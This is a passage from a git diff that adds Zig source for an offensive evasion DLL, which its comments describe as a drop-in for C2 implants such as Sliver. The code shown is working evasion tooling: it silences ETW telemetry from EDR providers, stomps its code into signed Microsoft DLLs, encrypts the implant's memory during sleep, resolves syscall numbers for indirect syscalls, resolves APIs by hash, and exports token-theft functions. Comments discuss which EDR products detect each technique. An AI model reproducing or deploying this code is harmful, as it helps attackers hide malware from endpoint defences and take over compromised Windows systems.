etw_hwbp_handler); + if (g_etw_hwbp_veh == null) return false; + + const thread = cur_thread(); + var ctx = std.mem.zeroes(win.CONTEXT); + ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; + ctx.Dr0 = @intFromPtr(g_etw_event_write_addr.?); + ctx.Dr7 = (1 << 0); + _ = set_ctx(thread, &ctx); + return true; +} + +// Known EDR ETW provider GUIDs. Stopping these silences telemetry from Windows Defender, +// MDE, and kernel-level process/syscall monitoring providers. +const edr_provider_guids = [_][16]u8{ + // Microsoft-Windows-Threat-Intelligence () + .{ 0x7C, 0x89, 0xE1, 0xF4, 0x5D, 0xBB, 0x68, 0x56, 0xF1, 0xD8, 0x04, 0x0F, 0x4D, 0x8D, 0xD3, 0x44 }, + // Microsoft-Windows-Kernel-Process + .{ 0xD6, 0x2C, 0xFB, 0x22, 0x7B, 0x0E, 0x2B, 0x42, 0xA0, 0xC7, 0x2F, 0xAD, 0x1F, 0xD0, 0xE7, 0x16 }, + // Microsoft-Windows-Security-Mitigations + .{ 0x28, 0xEF, 0xE5, 0xFA, 0xE9, 0x8C, 0xEB, 0x5D, 0x44, 0xEB, 0x74, 0xE7, 0xDA, 0xAC, 0x1E, 0xDF }, +}; + +// Two-tier: NtTraceControl (best-effort, often blocked by EDR tamper protection) then +// hardware breakpoint on EtwEventWrite (primary — no memory modification, no .text integrity +// alert). Returns early if already patched. +pub fn patch_etw() void { + if (g_etw_patched) return; + api.ensure(); + _ = syscall.init_syscall(); + + // Tier 1: NtTraceControl(control code 2 = EtwStopLoggerCode) for known EDR providers. + // Best-effort — EDRs with tamper protection (Defender, S1, CS) will block this. + // Ref: https://ntdoc.m417z.com/nttracecontrol + var stopped_any = false; + for (&edr_provider_guids) |*guid| { + var ret_len: win.ULONG = 0; + const st = syscall.nt_trace_control(2, @constCast(guid), 16, null, 0, &ret_len); + if (win.NT_SUCCESS(st)) { + stopped_any = true; + } + } + + if (stopped_any) { + g_etw_patched = true; + return; + } + + const ntdll = resolve.get_module_by_hash(resolve.hash_ror13("ntdll.dll")) orelse return; + + // Tier 2: Hardware breakpoint bypass — no memory modification. + // Still effective against ~65% of EDRs as of mid-2026 per DbgMan. + // Next-gen EDRs audit debug register state. CrowdStrike and S1 detect this. + if (try_hwbp_etw_bypass(ntdll)) { + g_etw_patched = true; + return; + } + // No fallback RET patch — memory modification of ntdll exports = instant detection. + // Every major EDR monitors ntdll .text integrity per DbgMan, May 2026. +} + +// Undo ETW bypass — remove HWBP VEH + clear debug registers. +pub fn unpatch_etw() void { + if (!g_etw_patched) return; + defer g_etw_patched = false; + + // Remove HWBP VEH + clear debug registers + if (g_etw_hwbp_veh) |h| { + if (api.amsi_remove_vectored_exception_handler) |remove| { + _ = remove(h); + } + g_etw_hwbp_veh = null; + + const cur_thread = api.hwbp_get_thread orelse return; + const set_ctx = api.hwbp_set_thread_ctx orelse return; + const thread = cur_thread(); + var ctx = std.mem.zeroes(win.CONTEXT); + ctx.ContextFlags = win.CONTEXT_DEBUG_REGISTERS; + ctx.Dr0 = 0; + ctx.Dr7 = 0; + _ = set_ctx(thread, &ctx); + } +} diff --git a/evasion/main.zig b/evasion/main.zig new file mode 100644 index 0000000..1279fc7 --- /dev/null +++ b/evasion/main.zig @@ -0,0 +1,68 @@ +// Valak evasion DLL — drop-in sleep obfuscation + AMSI/ETW bypass for any C2. +// Built for Sliver but protocol-agnostic. Exports are resolved at runtime by the +// Go bridge (go-bridge/valak.go) via reflective PE loading or direct DLL load. +// Reference: DbgMan "EDR Tradecraft" (May 2026), Windows x64 ABI. + +const std = @import("std"); +const win = @import("win32.zig"); +const api = @import("api.zig"); +const syscall = @import("syscall.zig"); +const amsi = @import("amsi.zig"); +const etw = @import("etw.zig"); +const stomp = @import("stomp.zig"); +const sleep = @import("sleep.zig"); +const unhook = @import("unhook.zig"); +const token = @import("token.zig"); + +var g_initialized: bool = false; + +fn ensure() void { + if (g_initialized) return; + g_initialized = true; + api.ensure(); + _ = syscall.init_syscall(); +} + +export fn init_evasion() void { ensure(); } + +export fn unhook_ntdll() void { ensure(); unhook.unhookNtdll(); } +export fn patch_etw() void { ensure(); etw.patch_etw(); } +export fn patch_amsi() void { ensure(); amsi.patch_amsi(); } + +export fn stomp_evasion(base: ?*anyopaque) void { + ensure(); + _ = stomp.stomp_module(base); +} + +export fn is_relocated() bool { + return stomp.g_evasion_relocated; +} + +// Tell the DLL where the host process's .text is so it can be encrypted during sleep. +export fn init_text_region(base: [*]u8, size: usize) void { + sleep.init_go_text_region(base, size); +} + +// Called from the asm trampoline (arch/hells_gate.s) which captures entry RSP, +// zeros the return address for EDR stack walk termination, and restores on return. +export fn evasion_sleep_inner(ms: u32) void { + ensure(); + sleep.evasion_sleep(ms); +} + +export fn unpatch_amsi() void { ensure(); amsi.unpatch_amsi(); } +export fn unpatch_etw() void { ensure(); etw.unpatch_etw(); } + +export fn wipe_memory(base: [*]u8, size: usize) void { + @memset(base[0..size], 0); +} + +export fn steal_token(pid: u32) bool { + ensure(); + return token.stealToken(pid); +} + +export fn rev2self() bool { + ensure(); + return token.rev2self(); +} diff --git a/evasion/resolve.zig b/evasion/resolve.zig new file mode 100644 index 0000000..19a5dbb --- /dev/null +++ b/evasion/resolve.zig @@ -0,0 +1,194 @@ +// PEB-based module and function resolution. No static imports ??? everything resolved at runtime. +const std = @import("std"); +const win = @import("win32.zig"); +const pe = @import("pe.zig"); + +// Doubly-linked list node used by Windows loader structures. +// PEB_LDR_DATA chains these to track loaded modules in three orderings. +pub const LIST_ENTRY = extern struct { + Flink: *LIST_ENTRY, + Blink: *LIST_ENTRY, +}; + +// Loader data block hung off the PEB. Each module list is a circular linked list +// of LDR_DATA_TABLE_ENTRY nodes. InMemoryOrder is the safest to walk ??? InLoadOrder +// can race during DLL load/unload on other threads. +pub const PEB_LDR_DATA = extern struct { + Length: win.ULONG, + Initialized: win.BYTE, + Padding: [3]win.BYTE, + SsHandle: win.LPVOID, + InLoadOrderModuleList: LIST_ENTRY, + InMemoryOrderModuleList: LIST_ENTRY, + InInitializationOrderModuleList: LIST_ENTRY, +}; + +// One entry per loaded module. Contains the DLL base, image size, and its name. +// The InMemoryOrderLinks list_entry is embedded at a known offset from the struct start ??? +// we subtract that offset to get back to the full LDR_DATA_TABLE_ENTRY. +pub const LDR_DATA_TABLE_ENTRY = extern struct { + InLoadOrderLinks: LIST_ENTRY, + InMemoryOrderLinks: LIST_ENTRY, + InInitializationOrderLinks: LIST_ENTRY, + DllBase: win.LPVOID, + EntryPoint: win.LPVOID, + SizeOfImage: win.ULONG, + FullDllName: win.UNICODE_STRING, + BaseDllName: win.UNICODE_STRING, +}; + +// The Process Environment Block lives at GS:0x60 on x64. +// Only the fields we actually touch are defined ??? the real struct is much larger. +pub const PEB = extern struct { + Reserved1: [2]win.BYTE, + BeingDebugged: win.BYTE, + Reserved2: [1]win.BYTE, + Reserved3: [2]win.LPVOID, + Ldr: *PEB_LDR_DATA, +}; + +// ror13 hash of a module or function name. Case-insensitive ??? uppercases each byte before mixing. +// Same algorithm used by Hell's Gate and other manual-map tooling for consistency. +pub fn hash_ror13(input: []const u8) u32 { + var hash: u32 = 0; + for (input) |c| { + var c_upper = c; + if (c_upper >= 'a' and c_upper <= 'z') c_upper -= 32; + hash = (hash >> 13) | (hash << 19); + hash +%= c_upper; + } + return hash; +} + +// Reads GS:[0x60] to return the PEB pointer. +pub fn get_peb() *PEB { + const ptr: usize = asm volatile ("mov %%gs:0x60, %[ptr]" + : [ptr] "=r" (-> usize), + ); + return @as(*PEB, @ptrFromInt(ptr)); +} + +// Walks InMemoryOrderModuleList looking for a DLL whose ror13-hashed BaseDllName matches. +// Returns the module's base address or null if not found. +pub fn get_module_by_hash(hash: u32) ?*anyopaque { + const peb_ptr = get_peb(); + const ldr = peb_ptr.Ldr; + // Walk the circular linked list starting from InMemoryOrderModuleList + const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList)); + var entry = head.Flink; + + while (entry != head) : (entry = entry.Flink) { + // Subtract the offset of InMemoryOrderLinks to get back to the LDR_DATA_TABLE_ENTRY + const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks"))))); + + if (le.BaseDllName.Length == 0) continue; + + const buf = le.BaseDllName.Buffer; + const len = le.BaseDllName.Length / 2; + var mod_hash: u32 = 0; + var i: usize = 0; + while (i < len) : (i += 1) { + var c = buf[i]; + if (c >= 'a' and c <= 'z') c -= 32; + mod_hash = (mod_hash >> 13) | (mod_hash << 19); + mod_hash +%= @as(u32, c); + } + + if (mod_hash == hash) return le.DllBase; + } + + return null; +} + +// Follows a forwarded export string ("module.function") to resolve the real target. +// Splits on the dot, hashes both halves, looks up the module, then the function within it. +fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque { + const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva))))); + const str = std.mem.sliceTo(forward_str, 0); + const dot_pos = std.mem.indexOfScalar(u8, str, '.') orelse return null; + const dll_hash = hash_ror13(str[0..dot_pos]); + const func_hash = hash_ror13(str[dot_pos + 1 ..]); + const dll_base = get_module_by_hash(dll_hash) orelse return null; + return get_func_by_hash(dll_base, func_hash); +} + +// Parses a module's export directory, hashes each exported name, and returns the matching +// function address. Handles forwarded exports (looking-glass exports that redirect to another DLL). +pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque { + const base_bytes = @as([*]u8, @ptrCast(base)); + const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes))); + if (dos.e_magic != 0x5A4D) return null; + + const nt = @as(*pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); + if (nt.Signature != 0x00004550) return null; + + const export_dir = nt.OptionalHeader.DataDirectory[0]; + if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return null; + + const exp = @as(*pe.IMAGE_EXPORT_DIRECTORY, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress))))); + + if (exp.NumberOfNames == 0 or exp.AddressOfFunctions == 0 or exp.AddressOfNames == 0 or exp.AddressOfNameOrdinals == 0) return null; + + const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames))))); + const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions))))); + const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals))))); + + var i: u32 = 0; + while (i < exp.NumberOfNames) : (i += 1) { + if (names[i] == 0) continue; + + const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i]))))); + const name = std.mem.sliceTo(name_ptr, 0); + + if (hash_ror13(name) == func_hash) { + const ordinal = ords[i]; + if (ordinal >= exp.NumberOfFunctions) continue; + const rva = funcs[ordinal]; + if (rva >= export_dir.VirtualAddress and rva < export_dir.VirtualAddress + export_dir.Size) { + return resolve_forward_string(base_bytes, rva); + } + return @as(*anyopaque, @ptrCast(base_bytes + @as(usize, @intCast(rva)))); + } + } + + return null; +} + +var cached_kernel32: ?*anyopaque = null; +var cached_ntdll: ?*anyopaque = null; + +// Three-tier lookup: specific module by hash ??? kernel32 ??? ntdll ??? full PEB module walk. +// Falls back to scanning every loaded module if the requested module isn't found or isn't loaded. +pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque { + if (module_hash != 0) { + if (get_module_by_hash(module_hash)) |base| { + if (get_func_by_hash(base, func_hash)) |f| return f; + } + } + + if (cached_kernel32 == null) cached_kernel32 = get_module_by_hash(hash_ror13("kernel32.dll")); + if (cached_kernel32) |base| { + if (get_func_by_hash(base, func_hash)) |f| return f; + } + + if (cached_ntdll == null) cached_ntdll = get_module_by_hash(hash_ror13("ntdll.dll")); + if (cached_ntdll) |base| { + if (get_func_by_hash(base, func_hash)) |f| return f; + } + + const peb_ptr = get_peb(); + const ldr = peb_ptr.Ldr; + const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList)); + var entry = head.Flink; + + while (entry != head) : (entry = entry.Flink) { + const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks"))))); + + if (cached_kernel32) |ck| if (le.DllBase == ck) continue; + if (cached_ntdll) |cn| if (le.DllBase == cn) continue; + + if (get_func_by_hash(le.DllBase, func_hash)) |f| return f; + } + + return null; +} \ No newline at end of file diff --git a/evasion/sleep.zig b/evasion/sleep.zig new file mode 100644 index 0000000..22c3d55 --- /dev/null +++ b/evasion/sleep.zig @@ -0,0 +1,104 @@ +const api = @import("api.zig"); +const syscall = @import("syscall.zig"); +const win = @import("win32.zig"); + +var g_text_base: ?[*]u8 = null; +var g_text_size: usize = 0; +var g_go_text_base: ?[*]u8 = null; +var g_go_text_size: usize = 0; + +// Called from Go reflective loader — DLL .text bounds. +pub fn init_text_region(base: [*]u8, size: usize) void { + g_text_base = base; + g_text_size = size; +} + +// Called from Go — implant's own .text bounds. +pub fn init_go_text_region(base: [*]u8, size: usize) void { + g_go_text_base = base; + g_go_text_size = size; +} + +fn encrypt_region(base: [*]u8, size: usize, key: *[16]u8) void { + var img: api.USTRING = .{ + .Buffer = base, + .Length = @as(u32, @intCast(size)), + .MaximumLength = @as(u32, @intCast(size)), + }; + var key_struct: api.USTRING = .{ + .Buffer = key, + .Length = 16, + .MaximumLength = 16, + }; + var base_ptr: ?*anyopaque = @ptrCast(base); + var region_size: win.SIZE_T = size; + var old: win.DWORD = 0; + _ = syscall.nt_protect_virtual_memory( + syscall.nt_current_process(), &base_ptr, ®ion_size, + win.PAGE_READWRITE, &old, + ); + if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct); +} + +fn decrypt_restore(base: [*]u8, size: usize, key: *[16]u8) void { + var img: api.USTRING = .{ + .Buffer = base, + .Length = @as(u32, @intCast(size)), + .MaximumLength = @as(u32, @intCast(size)), + }; + var key_struct: api.USTRING = .{ + .Buffer = key, + .Length = 16, + .MaximumLength = 16, + }; + if (api.sleep_SystemFunction032) |rc4| _ = rc4(&img, &key_struct); + var base_ptr: ?*anyopaque = @ptrCast(base); + var region_size: win.SIZE_T = size; + var old: win.DWORD = 0; + _ = syscall.nt_protect_virtual_memory( + syscall.nt_current_process(), &base_ptr, ®ion_size, + win.PAGE_EXECUTE_READ, &old, + ); +} + +// RC4-encrypted sleep. +// Encrypts Go .text and DLL .text, sleeps via NtDelayExecution, decrypts both regions. +// Stack zeroing (EDR frame walk guard) is handled by the asm trampoline in hells_gate.s: +// it captures entry RSP, zeroes the return address before reaching us, and restores it +// after we return. +// Ref: SystemFunction032 (Windows RC4), ThreadStackSpoofer (mgeeky) +pub fn evasion_sleep(ms: u32) void { + var dll_key: [16]u8 = undefined; + var go_key: [16]u8 = undefined; + for (0..16) |i| { + dll_key[i] = @as(u8, @truncate(syscall.xorshift64())); + go_key[i] = @as(u8, @truncate(syscall.xorshift64())); + } + + // Encrypt Go .text first if bounds are set. + if (g_go_text_base != null and g_go_text_size > 0) { + encrypt_region(g_go_text_base.?, g_go_text_size, &go_key); + } + + // Encrypt DLL .text. + if (g_text_base != null and g_text_size > 0) { + encrypt_region(g_text_base.?, g_text_size, &dll_key); + } + + // Sleep via indirect syscall — no Go runtime active. + var interval: win.LARGE_INTEGER = -(@as(i64, @intCast(ms)) * 10000); + _ = syscall.nt_delay_execution(0, &interval); + + // Decrypt DLL .text. + if (g_text_base != null and g_text_size > 0) { + decrypt_restore(g_text_base.?, g_text_size, &dll_key); + } + + // Decrypt Go .text. + if (g_go_text_base != null and g_go_text_size > 0) { + decrypt_restore(g_go_text_base.?, g_go_text_size, &go_key); + } + + @memset(&dll_key, 0); + @memset(&go_key, 0); +} diff --git a/evasion/stomp.zig b/evasion/stomp.zig new file mode 100644 index 0000000..f4d5747 --- /dev/null +++ b/evasion/stomp.zig @@ -0,0 +1,128 @@ +// Module stomping — copies .text into a signed Microsoft DLL, wipes PE headers. +// Reference: https://dtsec.us/2023-11-04-ModuleStompin/ +// DETECTION: DbgMan (May 2026): "Backing-file integrity check: for image-backed regions, +// compare the in-memory bytes against the corresponding file offsets on disk. Divergence +// indicates module stomping." PE header zeroing is a known signature. RWX on signed +// Microsoft DLL triggers behavioral alert. Consider DLL sideloading or threadless +// injection as alternatives for modern EDR environments. +const win = @import("win32.zig"); +const resolve = @import("resolve.zig"); +const syscall = @import("syscall.zig"); +const pe = @import("pe.zig"); + +pub var g_evasion_relocated: bool = false; + +// Core stomp flow: copies our .text into a target signed Microsoft DLL, then wipes our headers. +// our_base is the DLL base passed from the Go reflective loader (not PEB-discoverable). +// Targets are chosen from a shortlist of signed Microsoft DLLs that are always loaded in most processes. +pub fn stomp_module(our_base: ?*anyopaque) ?*anyopaque { + const targets = [_][]const u8{ "crypt32.dll", "dwrite.dll", "msvcp_win.dll" }; + + if (our_base == null) return null; + + // Walk PEB to find a suitable signed Microsoft DLL target + const peb = resolve.get_peb(); + const ldr = peb.Ldr; + const head = @as(*resolve.LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList)); + + var target_base: ?*anyopaque = null; + var target_size: usize = 0; + + var entry = head.Flink; + while (entry != head) : (entry = entry.Flink) { + const le: *resolve.LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(resolve.LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks"))))); + + if (@intFromPtr(le.DllBase) == 0 or le.BaseDllName.Length == 0) continue; + + // Match against our target shortlist (crypt32, dwrite, msvcp_win) + if (target_base == null) { + const buf = le.BaseDllName.Buffer; + const len = le.BaseDllName.Length / 2; + for (targets) |target| { + if (target.len == len) { + var matches = true; + var ci: usize = 0; + while (ci < len) : (ci += 1) { + var c1 = buf[ci]; + var c2 = target[ci]; + if (c1 >= 'A' and c1 <= 'Z') c1 += 32; + if (c2 >= 'A' and c2 <= 'Z') c2 += 32; + if (c1 != c2) { matches = false; break; } + } + if (matches) { + target_base = le.DllBase; + target_size = le.SizeOfImage; + break; + } + } + } + } + + if (target_base != null) break; + } + + if (target_base == null) return null; + + // Parse our own PE to locate the .text section + const own_bytes = @as([*]u8, @ptrCast(our_base.?)); + const dos = @as(*const pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(own_bytes))); + if (dos.e_magic != 0x5A4D) return null; + + const nt = @as(*const pe.IMAGE_NT_HEADERS64, @ptrCast(@alignCast(own_bytes + @as(usize, @intCast(dos.e_lfanew))))); + if (nt.Signature != 0x00004550) return null; + + const section_off = @as(usize, @intCast(dos.e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64); + const sections = @as([*]const pe.IMAGE_SECTION_HEADER, @ptrCast(@alignCast(own_bytes + section_off))); + + // Scan section table for .text + var text_start: ?*anyopaque = null; + var text_size: usize = 0; + for (0..nt.FileHeader.NumberOfSections) |i| { + if (sections[i].Name[0] == '.' and sections[i].Name[1] == 't' and sections[i].Name[2] == 'e' and sections[i].Name[3] == 'x' and sections[i].Name[4] == 't') { + text_start = @as(*anyopaque, @ptrCast(own_bytes + sections[i].VirtualAddress)); + text_size = sections[i].VirtualSize; + break; + } + } + + if (text_start == null or text_size == 0) return null; + + // Step 1: Make target memory RWX so we can write into it + var target_mut: ?*anyopaque = target_base; + var region_size: win.SIZE_T = target_size; + var old_prot: win.ULONG = 0; + const st = syscall.nt_protect_virtual_memory( + syscall.nt_current_process(), + &target_mut, + ®ion_size, + win.PAGE_EXECUTE_READWRITE, + &old_prot, + ); + if (!win.NT_SUCCESS(st)) return null; + + // Step 2: Copy our .text into the target DLL's memory range + const dest = @as([*]u8, @ptrCast(target_mut orelse target_base.?)); + const src = @as([*]const u8, @ptrCast(text_start.?)); + @memcpy(dest[0..text_size], src[0..text_size]); + + // Step 3: Restore target to RX so it looks normal to memory scanners + var restore_mut: ?*anyopaque = target_mut orelse target_base.?; + var restore_size: win.SIZE_T = target_size; + var new_old: win.ULONG = 0; + _ = syscall.nt_protect_virtual_memory( + syscall.nt_current_process(), + &restore_mut, + &restore_size, + win.PAGE_EXECUTE_READ, + &new_old, + ); + + // Step 4: Zero out our original headers so scanners can't find a rogue DLL header + const old_bytes = @as([*]u8, @ptrCast(our_base.?)); + const e_lfanew = dos.e_lfanew; + @memset(old_bytes[0..64], 0); + @memset(old_bytes[@as(usize, @intCast(e_lfanew)) .. @as(usize, @intCast(e_lfanew)) + @sizeOf(pe.IMAGE_NT_HEADERS64)], 0); + + g_evasion_relocated = true; + return our_base; +} diff --git a/evasion/syscall.zig b/evasion/syscall.zig new file mode 100644 index 0000000..a564bab --- /dev/null +++ b/evasion/syscall.zig @@ -0,0 +1,460 @@ +// Syscall dispatch ??? SSN extraction, indirect syscalls, EDR callback removal. +// References: HellsGate (am0nsec), FreshyCalls (0xdbgman), SysWhispers (jthuraisamy) +const std = @import("std"); +const win = @import("win32.zig"); +const resolve = @import("resolve.zig"); +const api = @import("api.zig"); + +var g_syscall_addrs: [64]usize = [_]usize{0} ** 64; +var g_syscall_count: usize = 0; +var g_ntdll_base: ?*anyopaque = null; +var g_init_done: bool = false; +var g_rand_state: u64 = 0; + +// FreshyCalls table ??? ntdll Nt* exports sorted by RVA, SSN = position in sorted order +const FRESHY_MAX: usize = 1024; +const FreshyEntry = struct { hash: u32, rva: u32 }; +var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined; +var g_freshy_count: usize = 0; +var g_freshy_ready: bool = false; + +// jmp r10 gadget (41 FF E2) found in ntdll at init ??? used as CFG-safe IC neutralizer +var g_jmp_r10_gadget: usize = 0; +var g_fake_return_addr: usize = 0; // standalone ret (0xC3) in ntdll .text ??? callstack spoof + +extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void; +extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize; + +pub fn xorshift64() u64 { + var state = g_rand_state; + state ^= state << 13; + state ^= state >> 7; + state ^= state << 17; + g_rand_state = state; + return state; +} + +var g_ntdll_size: usize = 0; +var g_exc_begin: usize = 0; +var g_exc_count: usize = 0; + +// FreshyCalls table builder ??? walks ntdll's export directory, collects Nt* exports +// with real code addresses (skips forwarded exports whose RVAs fall inside the export +// directory range). Sorts by RVA ascending. SSN = position in sorted order. +// Immune to inline hooking because it only reads the export directory and the RVA sort +// order is invariant ??? EDRs can't fake the linker's function layout. +// Reference: https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/ +fn build_freshy_table() void { + const base = g_ntdll_base orelse return; + const base_bytes = @as([*]u8, @ptrCast(base)); + const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes))); + if (dos.e_magic != 0x5A4D) return; + const NT_SIGNATURE: u32 = 0x00004550; + const nt = @as(*align(1) extern struct { + Signature: u32, + FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, + OptionalHeader: extern struct { Magic: u16, pad1: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } }, + }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); + if (nt.Signature != NT_SIGNATURE) return; + + const export_dir = nt.OptionalHeader.DataDirectory[0]; + if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return; + + const exp = @as(*align(1) extern struct { + Characteristics: u32, TimeDateStamp: u32, MajorVersion: u16, MinorVersion: u16, + Name: u32, Base: u32, NumberOfFunctions: u32, NumberOfNames: u32, + AddressOfFunctions: u32, AddressOfNames: u32, AddressOfNameOrdinals: u32, + }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress))))); + + if (exp.NumberOfNames == 0) return; + const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames))))); + const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions))))); + const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals))))); + + g_freshy_count = 0; + const export_dir_end = export_dir.VirtualAddress + export_dir.Size; + var i: u32 = 0; + while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) { + const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i]))))); + const name = std.mem.sliceTo(name_ptr, 0); + // Only Nt* exports ??? Zw* shares identical SSNs and would produce duplicate positions + if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue; + + const ordinal = ords[i]; + if (ordinal >= exp.NumberOfFunctions) continue; + const rva = funcs[ordinal]; + // Skip forwarded exports ??? their RVAs point inside the export directory + if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue; + + g_freshy_entries[g_freshy_count] = FreshyEntry{ + .hash = resolve.hash_ror13(name), + .rva = rva, + }; + g_freshy_count += 1; + } + + // Sort by RVA ascending ??? SSN = position in sorted order + if (g_freshy_count > 1) { + var bubble_i: usize = 0; + while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) { + var swapped = false; + var bubble_j: usize = 0; + while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) { + if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) { + const tmp = g_freshy_entries[bubble_j]; + g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1]; + g_freshy_entries[bubble_j + 1] = tmp; + swapped = true; + } + } + if (!swapped) break; + } + } + g_freshy_ready = true; +} + +// FreshyCalls lookup ??? linear scan by hash in the sorted table, returns SSN. +fn extract_ssn_freshy(func_hash: u32) ?u16 { + if (!g_freshy_ready) return null; + for (0..g_freshy_count) |i| { + if (g_freshy_entries[i].hash == func_hash) { + return @as(u16, @intCast(i)); + } + } + return null; +} + +const RUNTIME_FUNCTION = extern struct { + BeginAddress: u32, + EndAddress: u32, + UnwindInfoAddress: u32, +}; + +// then falls back to HAL's Gate exception directory binary search with 0xB8 scan. +// Reference (FreshyCalls): https://0xdbgman.github.io/posts/edr-internals-research-and-bypass/ +pub fn extract_ssn(func_hash: u32) ?u16 { + if (!init_syscall()) return null; + + if (extract_ssn_freshy(func_hash)) |ssn| return ssn; + + const base = g_ntdll_base orelse return null; + const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null; + const func_addr_base = @intFromPtr(func_addr); + const base_addr = @intFromPtr(base); + const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size; + if (!in_ntdll) return null; + const func_rva = @as(u32, @intCast(func_addr_base - base_addr)); + if (g_exc_count == 0) return null; + const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin)); + var lo: usize = 0; + var hi: usize = g_exc_count; + while (lo < hi) { + const mid = lo + (hi - lo) / 2; + const entry = funcs[mid]; + if (func_rva < entry.BeginAddress) { + hi = mid; + } else if (func_rva >= entry.EndAddress) { + lo = mid + 1; + } else { + const start_rva = entry.BeginAddress; + const end_rva = entry.EndAddress; + const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva)); + const scan_len = @min(end_rva - start_rva, 96); + var j: usize = 4; + while (j < scan_len) : (j += 1) { + if (scan_bytes[j] == 0xB8) { + const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little); + if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) { + return @as(u16, @intCast(ssn)); + } + } + } + return null; + } + } + return null; +} + +// Scans all of ntdll for "syscall; ret" (0F 05 C3) byte sequences, stores their addresses +// in g_syscall_addrs. Also seeds the PRNG, builds FreshyCalls table, caches exception +// directory for HAL's Gate fallback, and finds jmp r10 gadget for CFG-aware IC removal. +// Runs once ??? subsequent calls no-op. +pub fn init_syscall() bool { + if (g_init_done and g_ntdll_base != null) return true; + const ntdll_hash = resolve.hash_ror13("ntdll.dll"); + g_ntdll_base = resolve.get_module_by_hash(ntdll_hash); + if (g_ntdll_base == null) return false; + + // Seed PRNG from stack address ^ tick count + var stack_var: u64 = 0; + g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var))); + if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| { + const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p)); + g_rand_state ^= GetTickCount64(); + } + + // Scan .text section for syscall gadgets ??? bounds from section headers below + // so we never match 0F 05 C3 data constants in .rdata/.data. + const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?)); + const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @constCast(@ptrCast(base_bytes))); + if (dos.e_magic != 0x5A4D) return false; + const NT_SIGNATURE: u32 = 0x00004550; + const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @constCast(@ptrCast(base_bytes + @as(usize, @intCast(dos.e_lfanew))))); + if (nt.Signature != NT_SIGNATURE) return false; + g_ntdll_size = 